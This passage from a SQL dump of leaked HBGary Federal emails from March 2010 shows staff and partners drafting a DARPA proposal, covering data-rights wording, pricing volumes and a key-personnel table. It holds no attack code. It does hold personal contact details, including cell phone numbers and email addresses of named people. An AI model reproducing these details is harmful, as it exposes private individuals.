to see specimen collection called out in details, so rewrote II.D.2 1 to include this important element in the summary.I tried to shorten the footer disclaimer by a line, helps save some space on each page, but I may have screwed up the formatting of the footer a bit in the process.\r\nIncluded the legal disclaimer for the use of tradmarked terms Windows and Linux.I&#39;ll plan to review the final again tomorrow afternoon, but call if you need anything sooner.Mike\r\nOn Sat, Mar 27, 2010 at 7:19 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nMike some changes in the front section I mentioned edited by Bob.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n-- R.B. Toth AssociatesOakton, Virginia, USA703 938-4499mbt.rbtoth@gmail.com\r\n\r\n#avg_ls_inline_popup {  position:absolute;  z-index:9999;  padding: 0px 0px;  margin-left: 0px;  margin-top: 0px;  width: 240px;  overflow: hidden;  word-wrap: break-word;  color: black;  font-size: 10px;  text-align: left;  line-height: 13px;}\r\n',10035,'aaron_hbgary_com/10035.html'),(4709,'2010-03-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002880.M606915P3547Q4709.eml','\"Barr Aaron\" <aaron@hbgary.com>','ok','Got through HBGary, Inc.  - at least a first stab at it, may need to\r\nwiggle some numbers around, but everything is loaded.\r\n',8435,'aaron_hbgary_com/8435.html'),(4710,'2010-03-28','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002880.M821146P3547Q4710.eml','\"Aaron Barr\" <aaron@hbgary.com>','IMPORTANT - HBGary data rights must say \"Restricted Rights\"','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI saw you changed the data rights to &#8220;Limited Rights&#8221;.&nbsp;\r\nYou aren&#8217;t the attorney, Dave Metzger is.&nbsp; Dave told me that &#8220;Restricted\r\nRights&#8221; pertains to computer software and data related to computers.&nbsp; &#8220;Limited\r\nRights&#8221; only applies to data that is NOT computer related.\r\n\r\n&nbsp;\r\n\r\nPlease acknowledge that you see that and will change it back\r\nto Restricted Rights.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14235,'aaron_hbgary_com/14235.html'),(4711,'2010-03-28','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002884.M446942P3547Q4711.eml','\"Aaron Barr\" <aaron@hbgary.com>','Here are my changes on ver 8','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nHere are my changes.&nbsp; Going to bed. \r\n\r\n&nbsp;\r\n\r\nStill to do:\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBRAIN\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nReduce past performance text, especially from GD\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWork on Detailed Technical Rationale.&nbsp; I\r\nwant to add a bulleted section that discusses the benefits of an approach that\r\nintegrates binary analysis, memory forensics and runtime analysis.&nbsp; Throw\r\nin some stuff about dataflow tracing and increasing code paths.\r\n\r\n&nbsp;\r\n\r\nThe BRAIN section looks like there is a bunch of new content\r\non Dempster-Schaffer.&nbsp; Was that an automated word search for Bayesian and\r\nreplaced with Dempster-Schaffer?&nbsp; The content that is there now looks very\r\ndry and unrelated to our proposal, with the exception of what your friend wrote.&nbsp;\r\nI&#8217;m thinking that section of the proposal will be 2-3 short paragraphs.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7439,'aaron_hbgary_com/7439.html'),(4712,'2010-03-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002887.M837403P3547Q4712.eml','\"Barr Aaron\" <aaron@hbgary.com>','Getting there...','Finished GDAIS & Secure Decisions.  Just have Pikewerks left now.\r\nHeading down to make some coffee, take a short break, then I\'m going\r\nto knock it out...\r\n\r\nTed\r\n',11325,'aaron_hbgary_com/11325.html'),(4713,'2010-03-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002888.M241261P3547Q4714.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: IMPORTANT - HBGary data rights must say \"Restricted Rights\"','Yep got it and will change it.\r\n\r\n From my iPhone\r\n\r\nOn Mar 28, 2010, at 1:58 AM, Bob Slapnik  wrote:\r\n\r\n> Aaron,\r\n>\r\n>\r\n>\r\n> I saw you changed the data rights to “Limited Rights”.  You\r\n> aren’t the attorney, Dave Metzger is.  Dave told me that\r\n> “Restricted Rights” pertains to computer software and data\r\n> related to computers.  “Limited Rights” only applies to data that\r\n> is NOT computer related.\r\n>\r\n>\r\n>\r\n> Please acknowledge that you see that and will change it back to\r\n> Restricted Rights.\r\n>\r\n>\r\n>\r\n> Bob\r\n>\r\n>\r\n',8407,'aaron_hbgary_com/8407.html'),(4714,'2010-03-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002888.M47260P3547Q4713.eml','\"Barr Aaron\" <aaron@hbgary.com>','Pikewerks','Used the old pricing template. I have to correct it.\r\n',8325,'aaron_hbgary_com/8325.html'),(4715,'2010-03-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002892.M253420P3547Q4716.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"MB Toth\" <mbt.rbtoth@gmail.com>','An updated version about ready','\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16255,'aaron_hbgary_com/16255.html'),(4716,'2010-03-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002892.M30044P3547Q4715.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','TA3 Pricing','Draft -- not quite ready, I need to scrub it...\r\n',10696,'aaron_hbgary_com/10696.html'),(4717,'2010-03-28','\"MB Toth\" <mbt.rbtoth@gmail.com>','/aaron@hbgary.com/new/1297002892.M436969P3547Q4717.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: An updated version about ready','OK, standing by.  I&#39;ll call when I get it just to touch base and make sure I&#39;m covering what&#39;s needed.On Sun, Mar 28, 2010 at 10:30 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n-- R.B. Toth AssociatesOakton, Virginia, USA703 938-4499mbt.rbtoth@gmail.com\r\n#avg_ls_inline_popup {  position:absolute;  z-index:9999;  padding: 0px 0px;  margin-left: 0px;  margin-top: 0px;  width: 240px;  overflow: hidden;  word-wrap: break-word;  color: black;  font-size: 10px;  text-align: left;  line-height: 13px;}\r\n',8795,'aaron_hbgary_com/8795.html'),(4718,'2010-03-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002898.M991161P3547Q4718.eml','\"MB Toth\" <mbt.rbtoth@gmail.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"MB Toth\" <mbt.rbtoth@gmail.com>','Version 9','\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3591,'aaron_hbgary_com/3591.html'),(4719,'2010-03-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002899.M478080P3547Q4719.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Pikewerks','Can u send me the following filled out by Company:\r\n\r\nHBGary\r\nTask x\r\n1b - $\r\n2a - $\r\n2b - $\r\n\r\nTask x\r\n1a\r\n1b\r\n2a\r\n\r\nTask x (lead)\r\n2a\r\n2b\r\nOn Mar 28, 2010, at 6:21 AM, Ted Vera wrote:\r\n\r\n> Used the old pricing template. I have to correct it.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11959,'aaron_hbgary_com/11959.html'),(4720,'2010-03-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002904.M207672P3547Q4720.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Draft Cost Volume','Attached for your review.\r\n\r\nWe need to update the cover letter and enclose with the cost volume.\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',13115,'aaron_hbgary_com/13115.html'),(4721,'2010-03-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002904.M496711P3547Q4721.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Pikewerks','On Sun, Mar 28, 2010 at 8:38 AM, Aaron Barr  wrote:\r\n> Can u send me the following filled out by Company:\r\n>\r\n> HBGary\r\n> Task x\r\n> 1b - $\r\n> 2a - $\r\n> 2b - $\r\n>\r\n> Task x\r\n> 1a\r\n> 1b\r\n> 2a\r\n>\r\n> Task x (lead)\r\n> 2a\r\n> 2b\r\n> On Mar 28, 2010, at 6:21 AM, Ted Vera wrote:\r\n>\r\n>> Used the old pricing template. I have to correct it.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',361,'aaron_hbgary_com/361.html'),(4722,'2010-03-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002905.M36014P3547Q4722.eml','\"Barr Aaron\" <aaron@hbgary.com>','adhoc report','-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',9517,'aaron_hbgary_com/9517.html'),(4723,'2010-03-28','\"MB Toth\" <mbt.rbtoth@gmail.com>','/aaron@hbgary.com/new/1297002906.M418337P3547Q4723.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Version 9','Aaron,Here&#39;s my BRaIN input, just as possible guidance for Bob as he works it with far better knowledge than I bring!MikeOn Sun, Mar 28, 2010 at 10:36 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n-- R.B. Toth AssociatesOakton, Virginia, USA703 938-4499mbt.rbtoth@gmail.com\r\n#avg_ls_inline_popup {  position:absolute;  z-index:9999;  padding: 0px 0px;  margin-left: 0px;  margin-top: 0px;  width: 240px;  overflow: hidden;  word-wrap: break-word;  color: black;  font-size: 10px;  text-align: left;  line-height: 13px;}\r\n',9029,'aaron_hbgary_com/9029.html'),(4724,'2010-03-28','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002906.M713836P3547Q4724.eml','\"Aaron Barr\" <aaron@hbgary.com>','IP Language','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI see you removed IP language that had been in previous\r\nversions.\r\n\r\n&nbsp;\r\n\r\n&#8220;We understand and appreciate DARPA&#8217;s needs\r\nfor rights in data; therefore the data generated under this contract will be\r\ndelivered to the Government with Unlimited Rights.&#8221;\r\n\r\n&nbsp;\r\n\r\nThis is a very important statement that should left at the\r\ntop of the IP section.&nbsp; Otherwise, we leave the gov&#8217;t with the\r\nimpression that we are delivering data with restricted rights.&nbsp; The fact\r\nis that we will very likely deliver nothing with restricted rights &#8211; we are\r\njust pounding a stake in the ground that we bring certain HBGary-owned IP and\r\nthat will always be the case.&nbsp; That doesn&#8217;t mean we will deliver\r\nany of this restricted rights data.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16851,'aaron_hbgary_com/16851.html'),(4725,'2010-03-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002907.M502523P3547Q4725.eml','\"Bob Slapnik\" <bob@hbgary.com>','Fwd: Version 9','\r\n\r\nBegin forwarded message:\r\n\r\n> From: MB Toth \r\n> Date: March 28, 2010 11:27:09 AM EDT\r\n> To: Aaron Barr \r\n> Subject: Re: Version 9\r\n> \r\n> Aaron,\r\n> \r\n> Here\'s my BRaIN input, just as possible guidance for Bob as he works it with far better knowledge than I bring!\r\n> \r\n> Mike\r\n> \r\n> On Sun, Mar 28, 2010 at 10:36 AM, Aaron Barr  wrote:\r\n> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> -- \r\n> R.B. Toth Associates\r\n> Oakton, Virginia, USA\r\n> \r\n> 703 938-4499\r\n> mbt.rbtoth@gmail.com\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9165,'aaron_hbgary_com/9165.html'),(4726,'2010-03-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002907.M735711P3547Q4726.eml','\"Barr Aaron\" <aaron@hbgary.com>','ADHOC','-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',16461,'aaron_hbgary_com/16461.html'),(4727,'2010-03-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002915.M417864P3547Q4727.eml','\"Ted Vera\" <ted@hbgary.com>','Doc','\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2748,'aaron_hbgary_com/2748.html'),(4728,'2010-03-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002916.M72242P3547Q4728.eml','\"Aaron Barr\" <aaron@hbgary.com>','Operation Aurora','We should cite and include the Operation Aurora paper as a submission\r\nwith the Tech Volume.\r\n',890,'aaron_hbgary_com/890.html'),(4729,'2010-03-28','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297002923.M257142P3547Q4729.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','FW: state of TA#1, still in progress.','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAttached is the state of TA#1, still in progress.\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',489,'aaron_hbgary_com/489.html'),(4730,'2010-03-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002924.M204652P3547Q4730.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: state of TA#1, still in progress.','chris,I just dialed your conference # is that the right one?On Mar 28, 2010, at 12:54 PM, Starr, Christopher H. wrote:Attached is the state of TA#1, still in progress.&nbsp;Chris&nbsp;&lt;DCG Technical Volume for Technical Area 1 Post Gold Master.zip&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1478,'aaron_hbgary_com/1478.html'),(4731,'2010-03-28','\"Vela, Ryan\" <Ryan.Vela@gd-ais.com>','/aaron@hbgary.com/new/1297002924.M459727P3547Q4731.eml','\"Aaron Barr\" <aaron@hbgary.com>','cell phone numbers','\r\n\r\n\r\n\r\n\r\ncell phone numbers\r\n\r\n\r\n\r\n\r\nDoug Harlow: 703-835-7243\r\n\r\nRyan Vela: 832-867-5201\r\n\r\nThanks,\r\n\r\nRyan Vela\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1810,'aaron_hbgary_com/1810.html'),(4732,'2010-03-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002924.M787954P3547Q4732.eml','\"MB Toth\" <mbt.rbtoth@gmail.com>','Key Personnel','\r\n\r\n\r\n\r\nMikeCan you take a stab at turning our key personnel into a table that looks like this?Aaron\r\n \r\n  \r\n   Key Technical Staff / (% time)\r\n   \r\n   Experience\r\n   \r\n  \r\n \r\n \r\n  Jason Upchurch (75%)GDAIS Principal InvestigatorB.S. Computer Science\r\n  \r\n  Technical\r\n  lead Defense Computer Forensics Laboratory (DCFL)Technical\r\n  lead NCIJTFSenior\r\n  Technical lead for GDAIS Cyber Systems\r\n  \r\n \r\n \r\n  Dr Dawn Song (20%)Associate ProfessorUC BerkeleyPh.D. Computer Science\r\n  \r\n  Leader - Project BitBlaze; binary\r\n  analysis for security applications, awarded the MIT Technology Review TR-35Assistant Professor at Carnegie\r\n  Mellon University from 02 to 07Multiple Awards in computer\r\n  security research\r\n  \r\n \r\n \r\n  Dr Anita D’Amico (25%)AVI Secure DecisionsPh.D., Adelphi University\r\n  \r\n  -&nbsp; Human\r\n  factors psychologist and a specialist in information security situational\r\n  awareness-&nbsp; Visualization\r\n  cognitive analysis; operational fatigue; and research methods\r\n  \r\n \r\n \r\n  Phil Porras (25%)Stanford Research InstituteM.S. Computer Science\r\n  \r\n  -&nbsp; Program\r\n  Director of systems security research in the Computer Science Laboratory at\r\n  SRI International -&nbsp; Principal\r\n  Investigator NSF project, “Logic and Data Flow Extraction for Live and\r\n  Informed Malware Execution.”-&nbsp; Led research\r\n  prototype technologies including BotHunter, BLADE (ww.blade-defender.org), and\r\n  Highly Predictive Blacklists \r\n  \r\n \r\n \r\n  Andrew Tappert (100%)PikewerksM.S. Computer Science, Stanford\r\n  \r\n  -&nbsp; Refine\r\n  function extraction methods and develop automation of methodologies.-&nbsp; Nine\r\n  years of experience with rootkits, malware, and other kernel/low-level\r\n  software development efforts-&nbsp; CIA\'s\r\n  Information Operations Center software development\r\n  \r\n \r\n \r\n  Greg Hoglund (25%)HBGary Federal\r\n  \r\n  -&nbsp; HBGary’s\r\n  commercial cyber security software products architect-&nbsp; Published\r\n  multiple cyber exploitation, security and rootkit works-&nbsp; Pioneered\r\n  new technologies to automatically reverse engineer software binaries from\r\n  within computer memory-&nbsp; Created\r\n  and documented first Windows kernel rootkit\r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14616,'aaron_hbgary_com/14616.html'),(4733,'2010-03-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002927.M832053P3547Q4733.eml','\"Ted Vera\" <ted@hbgary.com>','copy','\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4612,'aaron_hbgary_com/4612.html'),(4734,'2010-03-28','\"MB Toth\" <mbt.rbtoth@gmail.com>','/aaron@hbgary.com/new/1297002934.M597578P3547Q4734.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Key Personnel','OK, I&#39;ll trade you.  Here&#39;s my cut at the other sections, in particular the detailed description.  SMART still needs some work.MikeOn Sun, Mar 28, 2010 at 1:24 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nMikeCan you take a stab at turning our key personnel into a table that looks like this?Aaron\r\n\r\n \r\n  \r\n   Key Technical Staff / (% time)\r\n\r\n   \r\n   \r\nExperience\r\n   \r\n  \r\n \r\n \r\n  \r\nJason Upchurch (75%)GDAIS Principal InvestigatorB.S. Computer Science\r\n\r\n  \r\n  \r\nTechnical\r\n  lead Defense Computer Forensics Laboratory (DCFL)Technical\r\n  lead NCIJTFSenior\r\n  Technical lead for GDAIS Cyber Systems\r\n  \r\n \r\n \r\n  \r\nDr Dawn Song (20%)Associate ProfessorUC Berkeley\r\nPh.D. Computer Science\r\n  \r\n  \r\nLeader - Project BitBlaze; binary\r\n  analysis for security applications, awarded the MIT Technology Review TR-35Assistant Professor at Carnegie\r\n  Mellon University from 02 to 07Multiple Awards in computer\r\n  security research\r\n  \r\n \r\n \r\n  \r\nDr Anita D’Amico (25%)AVI Secure DecisionsPh.D., Adelphi University\r\n\r\n  \r\n  \r\n-  Human\r\n  factors psychologist and a specialist in information security situational\r\n  awareness-  Visualization\r\n  cognitive analysis; operational fatigue; and research methods\r\n  \r\n \r\n \r\n  \r\nPhil Porras (25%)Stanford Research InstituteM.S. Computer Science\r\n\r\n  \r\n  \r\n-  Program\r\n  Director of systems security research in the Computer Science Laboratory at\r\n  SRI International -  Principal\r\n  Investigator NSF project, “Logic and Data Flow Extraction for Live and\r\n  Informed Malware Execution.”-  Led research\r\n  prototype technologies including BotHunter, BLADE (ww.blade-defender.org), and\r\n  Highly Predictive Blacklists \r\n  \r\n \r\n \r\n  \r\nAndrew Tappert (100%)PikewerksM.S. Computer Science, Stanford\r\n\r\n  \r\n  \r\n-  Refine\r\n  function extraction methods and develop automation of methodologies.-  Nine\r\n  years of experience with rootkits, malware, and other kernel/low-level\r\n  software development efforts-  CIA&#39;s\r\n  Information Operations Center software development\r\n  \r\n \r\n \r\n  \r\nGreg Hoglund (25%)HBGary Federal\r\n  \r\n  \r\n-  HBGary’s\r\n  commercial cyber security software products architect-  Published\r\n  multiple cyber exploitation, security and rootkit works-  Pioneered\r\n  new technologies to automatically reverse engineer software binaries from\r\n  within computer memory-  Created\r\n  and documented first Windows kernel rootkit\r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n-- R.B. Toth AssociatesOakton, Virginia, USA703 938-4499mbt.rbtoth@gmail.com\r\n#avg_ls_inline_popup {  position:absolute;  z-index:9999;  padding: 0px 0px;  margin-left: 0px;  margin-top: 0px;  width: 240px;  overflow: hidden;  word-wrap: break-word;  color: black;  font-size: 10px;  text-align: left;  line-height: 13px;}\r\n',10272,'aaron_hbgary_com/10272.html'),(4735,'2010-03-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002941.M848222P3547Q4735.eml','\"Bob Slapnik\" <bob@hbgary.com>','Fwd: Key Personnel','\r\n\r\nBegin forwarded message:\r\n\r\n> From: MB Toth \r\n> Date: March 28, 2010 1:38:28 PM EDT\r\n> To: Aaron Barr \r\n> Subject: Re: Key Personnel\r\n> \r\n> OK, I\'ll trade you.  Here\'s my cut at the other sections, in particular the detailed description.  SMART still needs some work.\r\n> \r\n> Mike\r\n> \r\n> On Sun, Mar 28, 2010 at 1:24 PM, Aaron Barr  wrote:\r\n> Mike\r\n> Can you take a stab at turning our key personnel into a table that looks like this?\r\n> \r\n> Aaron\r\n> \r\n> \r\n> Key Technical Staff / (% time)\r\n> Experience\r\n> Jason Upchurch (75%)\r\n> GDAIS Principal Investigator\r\n> B.S. Computer Science\r\n> Technical lead Defense Computer Forensics Laboratory (DCFL)\r\n> Technical lead NCIJTF\r\n> Senior Technical lead for GDAIS Cyber Systems\r\n> Dr Dawn Song (20%)\r\n> Associate Professor\r\n> UC Berkeley\r\n> Ph.D. Computer Science\r\n> Leader - Project BitBlaze; binary analysis for security applications, awarded the MIT Technology Review TR-35\r\n> \r\n> Assistant Professor at Carnegie Mellon University from 02 to 07\r\n> \r\n> Multiple Awards in computer security research\r\n> \r\n> Dr Anita D’Amico (25%)\r\n> AVI Secure Decisions\r\n> Ph.D., Adelphi University\r\n> -  Human factors psychologist and a specialist in information security situational awareness\r\n> -  Visualization cognitive analysis; operational fatigue; and research methods\r\n> Phil Porras (25%)\r\n> Stanford Research Institute\r\n> M.S. Computer Science\r\n> -  Program Director of systems security research in the Computer Science Laboratory at SRI International\r\n> -  Principal Investigator NSF project, “Logic and Data Flow Extraction for Live and Informed Malware Execution.”\r\n> -  Led research prototype technologies including BotHunter, BLADE (ww.blade-defender.org), and Highly Predictive Blacklists\r\n> Andrew Tappert (100%)\r\n> Pikewerks\r\n> M.S. Computer Science, Stanford\r\n> -  Refine function extraction methods and develop automation of methodologies.\r\n> -  Nine years of experience with rootkits, malware, and other kernel/low-level software development efforts\r\n> -  CIA\'s Information Operations Center software development\r\n> Greg Hoglund (25%)\r\n> HBGary Federal\r\n> -  HBGary’s commercial cyber security software products architect\r\n> -  Published multiple cyber exploitation, security and rootkit works\r\n> -  Pioneered new technologies to automatically reverse engineer software binaries from within computer memory\r\n> -  Created and documented first Windows kernel rootkit\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> -- \r\n> R.B. Toth Associates\r\n> Oakton, Virginia, USA\r\n> \r\n> 703 938-4499\r\n> mbt.rbtoth@gmail.com\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8368,'aaron_hbgary_com/8368.html'),(4736,'2010-03-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002943.M930330P3547Q4736.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','cost by period','-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',7162,'aaron_hbgary_com/7162.html'),(4737,'2010-03-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002946.M49360P3547Q4737.eml','\"Barr Aaron\" <aaron@hbgary.com>','cover letter','Attached.\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',673,'aaron_hbgary_com/673.html'),(4738,'2010-03-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002950.M989285P3547Q4738.eml','\"Barr Aaron\" <aaron@hbgary.com>','Cost Volume','Attached.\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',3089,'aaron_hbgary_com/3089.html'),(4739,'2010-03-28','\"MB Toth\" <mbt.rbtoth@gmail.com>','/aaron@hbgary.com/new/1297002951.M718173P3547Q4739.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Key Personnel','Aaron,Here&#39;s the table, with more information than you wanted, but easier to delete than add.  I included those you cited, but the percentages in your e-mail differ from the text of the prop.  I went with the prop. numbers, so change as required.\r\nDon&#39;t know why the first entry is on a separate page, but hopefully will straighten out in cut and paste.MikeOn Sun, Mar 28, 2010 at 1:24 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nMikeCan you take a stab at turning our key personnel into a table that looks like this?Aaron\r\n\r\n \r\n  \r\n   Key Technical Staff / (% time)\r\n\r\n   \r\n   \r\nExperience\r\n   \r\n  \r\n \r\n \r\n  \r\nJason Upchurch (75%)GDAIS Principal InvestigatorB.S. Computer Science\r\n\r\n  \r\n  \r\nTechnical\r\n  lead Defense Computer Forensics Laboratory (DCFL)Technical\r\n  lead NCIJTFSenior\r\n  Technical lead for GDAIS Cyber Systems\r\n  \r\n \r\n \r\n  \r\nDr Dawn Song (20%)Associate ProfessorUC Berkeley\r\nPh.D. Computer Science\r\n  \r\n  \r\nLeader - Project BitBlaze; binary\r\n  analysis for security applications, awarded the MIT Technology Review TR-35Assistant Professor at Carnegie\r\n  Mellon University from 02 to 07Multiple Awards in computer\r\n  security research\r\n  \r\n \r\n \r\n  \r\nDr Anita D’Amico (25%)AVI Secure DecisionsPh.D., Adelphi University\r\n\r\n  \r\n  \r\n-  Human\r\n  factors psychologist and a specialist in information security situational\r\n  awareness-  Visualization\r\n  cognitive analysis; operational fatigue; and research methods\r\n  \r\n \r\n \r\n  \r\nPhil Porras (25%)Stanford Research InstituteM.S. Computer Science\r\n\r\n  \r\n  \r\n-  Program\r\n  Director of systems security research in the Computer Science Laboratory at\r\n  SRI International -  Principal\r\n  Investigator NSF project, “Logic and Data Flow Extraction for Live and\r\n  Informed Malware Execution.”-  Led research\r\n  prototype technologies including BotHunter, BLADE (ww.blade-defender.org), and\r\n  Highly Predictive Blacklists \r\n  \r\n \r\n \r\n  \r\nAndrew Tappert (100%)PikewerksM.S. Computer Science, Stanford\r\n\r\n  \r\n  \r\n-  Refine\r\n  function extraction methods and develop automation of methodologies.-  Nine\r\n  years of experience with rootkits, malware, and other kernel/low-level\r\n  software development efforts-  CIA&#39;s\r\n  Information Operations Center software development\r\n  \r\n \r\n \r\n  \r\nGreg Hoglund (25%)HBGary Federal\r\n  \r\n  \r\n-  HBGary’s\r\n  commercial cyber security software products architect-  Published\r\n  multiple cyber exploitation, security and rootkit works-  Pioneered\r\n  new technologies to automatically reverse engineer software binaries from\r\n  within computer memory-  Created\r\n  and documented first Windows kernel rootkit\r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n-- R.B. Toth AssociatesOakton, Virginia, USA703 938-4499mbt.rbtoth@gmail.com\r\n#avg_ls_inline_popup {  position:absolute;  z-index:9999;  padding: 0px 0px;  margin-left: 0px;  margin-top: 0px;  width: 240px;  overflow: hidden;  word-wrap: break-word;  color: black;  font-size: 10px;  text-align: left;  line-height: 13px;}\r\n',3078,'aaron_hbgary_com/3078.html'),(4740,'2010-03-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002953.M495794P3547Q4740.eml','\"Aaron Barr\" <aaron@hbgary.com>','Cover / Transmittal Letter','Attached\r\n',10156,'aaron_hbgary_com/10156.html'),(4741,'2010-03-28','\"Ted Vera\" 